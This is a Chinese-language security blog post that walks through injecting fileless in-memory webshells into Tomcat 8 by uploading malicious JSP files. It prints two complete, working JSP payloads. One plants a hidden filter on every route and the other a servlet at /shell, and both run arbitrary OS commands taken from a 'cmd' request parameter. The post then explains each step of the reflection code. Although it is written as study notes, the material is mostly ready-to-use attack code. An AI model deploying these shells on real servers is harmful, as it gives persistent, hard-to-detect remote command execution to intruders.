【安全记录】通过jsp文件注入内存马

作者: 君行路 | 来源:发表于2021-08-27 10:14 被阅读0次

【安全记录】通过jsp文件注入内存马
JSP 常用指令记录
二张图看清黑客怎么执行外挂，倒卖无限金币和造成最大伤害
JSP基础
IOC框架（二）
java中如何加载登录页面对登录信息进行数据库查询
SpringBoot注入数据的方式
微信JS-SDK使用
阿里程序猿小密圈解析Spring @Value 属性注入使用（含
web安全-SQL注入

1. 前言

前面对内存马的理论知识进行了学习：https://mp.weixin.qq.com/s/Y4Wvs3YK1J03Kh7HfPY3gg

这篇文章学习使用jsp文件注入内存马（可以将恶意的jsp文件上传到目标服务器并访问，来注入内存马）。

2. 上传jsp文件生成filter类型的内存马

首先展示恶意jsp文件：

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "junxinglu";
    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner( in ).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name, filterConfig);
        out.print("Inject Success !");
    }
%>

首先看前面几行代码：

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

这几行代码就是在jsp中引入java classpath中的类，在前面介绍的文章“基于Tomcat的Java内存马初探”中，有提到StandardContext、FilterDef这些类。在这个恶意jsp文件中，我们根据需要进行引入。

而且通过观察这个jsp所引入的类文件，我们知道这个jsp注入的filter内存马只适合在tomcat 8下使用，因为前面也有提到过：

tomcat 7:

org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;

tomcat 8:

org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;

接着是一系列反射操作获取上下文类对象：

ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

从request请求中获取到ServletContext上下文对象，再依次获取ApplicationContext上下文，最后获取到想要的StandardContext上下文，调试可以很清楚地看到各个Context直接的关系：

image

获取StandardContext的成员变量filterConfigs并实例化，赋值给Map类型的变量filterConfigs。

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

调试过程：

image

前面都是通过反射获取到各种跟filter相关的一些全局变量。第一行定义了一个String类型的name变量，作为这个webapp中的filter的名字，通过上面获取到的filterConfigs来判断整个webapp中是否已经存在一个叫name的filter了：

if (filterConfigs.get(name) == null)

如果不存在就注入一个恶意的filter。

定义一个命令执行的恶意filter。

FilterDefs：存放FilterDef的数组，FilterDef 中存储着我们过滤器名，过滤器实例，作用 url 等基本信息

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
 * 将filterDef添加到filterDefs中
 */
standardContext.addFilterDef(filterDef);

new一个FilterDef对象，将刚刚定义好的恶意filter类、filter名称，以及filter类名进行绑定，同时添加到全局的standardContext上下文中。

FilterMaps：存放FilterMap的数组，在 FilterMap 中主要存放了 FilterName 和对应的URLPattern

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

new一个FilterMap对象，将路由与该filter进行绑定。这里我直接绑定所有路由都经过次filter进行处理。同时添加到全局的standardContext上下文中。

FilterConfigs：存放filterConfig的数组，在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

将filter添加到filterConfigs中：

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

filterConfigs.put(name, filterConfig);

如此就可以注入一个恶意的filter类型的内存马。

演示如下：

第一次访问这个恶意jsp文件：

image

提示注入成功。再次访问也不会进行注入了，因为这个webapp中已经存在这个filter了。

访问根下（/*）任意路由，可以执行系统命令：

image

3. 上传jsp文件生成servlet类型的内存马

先展示恶意jsp文件：

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.File" %>
<%@ page import="java.sql.Struct" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Field" %>

<%
    // 获取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

    String name = "junxinglu";
    String servletPath = "/shell";

    Field mappings = standardCtx.getClass().getDeclaredField("servletMappings");
    mappings.setAccessible(true);
    Map servletMappings = (Map) mappings.get(standardCtx);

    if (servletMappings.get(servletPath) == null){
        // 创建恶意Servlet
        Servlet servlet = new Servlet() {
            @Override
            public void init(ServletConfig servletConfig) throws ServletException {

            }
            @Override
            public ServletConfig getServletConfig() {
                return null;
            }
            @Override
            public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    String cmd = req.getParameter("cmd");
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    PrintWriter out = servletResponse.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                }
            }
            @Override
            public String getServletInfo() {
                return null;
            }
            @Override
            public void destroy() {

            }
        };

        // 用Wrapper对其进行封装
        org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
        newWrapper.setName(name);
        newWrapper.setLoadOnStartup(1);
        newWrapper.setServlet(servlet);
        newWrapper.setServletClass(servlet.getClass().getName());

        // 添加封装后的恶意Wrapper到StandardContext的children当中
        standardCtx.addChild(newWrapper);

        // 添加ServletMapping将访问的URL和Servlet进行绑定
        standardCtx.addServletMapping(servletPath, name);
        out.print("Inject Success !");
    }
%>

前面几行依然是引入相关的Java类。

接着获取上下文对象StandardContext，不同于上面通过request进行获取：

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

定义servlet的名字和对应的urlPath，同时通过反射获取StandardContext的成员变量：servletMappings对象，通过它来判断整个webapp中是否已经存在对应的urlPath了，如果不存在，则进行注入servlet内存马操作。

String name = "junxinglu";
String servletPath = "/shell";

Field mappings = standardCtx.getClass().getDeclaredField("servletMappings");
mappings.setAccessible(true);
Map servletMappings = (Map) mappings.get(standardCtx);

if (servletMappings.get(servletPath) == null)

创建一个恶意的servlet对象，创建一个Wrapper对象，并对servlet进行封装；添加封装后的恶意Wrapper到StandardContext的children当中

// 用Wrapper对其进行封装
org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());

// 添加封装后的恶意Wrapper到StandardContext的children当中
standardCtx.addChild(newWrapper);

最后将servlet名称与urlPath进行绑定即可：

// 添加ServletMapping将访问的URL和Servlet进行绑定
standardCtx.addServletMapping(servletPath, name);

效果演示如下：

第一次访问这个恶意jsp文件：

image

提示注入成功。再次访问也不会再进行内存马注入操作了。

访问/shell这个路由，可以执行系统命令：

image

4. 总结

本文通过编写两个jsp文件并访问，达到注入filter和servlet内存马的功能。对前面学习的内存马相关的理论知识进行实践。

微信公众：信安文摘

5. 参考链接

Tomcat 内存马学习(一)：Filter型

一文看懂内存马

Tomcat 内存马学习(二)：结合反序列化注入内存马

【安全记录】通过jsp文件注入内存马
1. 前言前面对内存马的理论知识进行了学习：https://mp.weixin.qq.com/s/Y4Wvs3Y...
JSP 常用指令记录
JSP可以通过include指令来包含其他文件，被包含的文件可以是JSP文件、HTML文件或文本文件。包含的文件就...
二张图看清黑客怎么执行外挂，倒卖无限金币和造成最大伤害
一血：内存代码注入首先攻击者通过应用商店，官网等渠道获取客户端APP，利用内存注入和代码注入手法，覆盖原有执行数...
JSP基础
1、JSP通过编译成servlet文件，所以第一次运行JSP响应速度慢 2、JSP(java server pag...
IOC框架（二）
1. 概述上篇文章只是记录了反射注入setContentView布局文件、注入findViewById，...
java中如何加载登录页面对登录信息进行数据库查询
1、在jsp中输入以下代码 2、在TestLoginservlet中输入以下代码 3、由于sql注入有可能对安全性...
SpringBoot注入数据的方式
关于注入数据说明 1.不通过配置文件注入数据通过@Value将外部的值动态注入到Bean中，使用的情况有：注入...
微信JS-SDK使用
1.配置JS接口安全域名 2.引入JS文件 3.通过config接口注入权限验证配置 wx.config({deb...
阿里程序猿小密圈解析Spring @Value 属性注入使用（含
@Value注入不通过配置文件的注入属性的情况通过@Value将外部的值动态注入到Bean中，使用的情况有： ...
web安全-SQL注入
本篇为web安全第一篇，例子是掌控安全提供的供学员实践用的。通过第一题，学习SQL注入，总结记录在此。下面，对...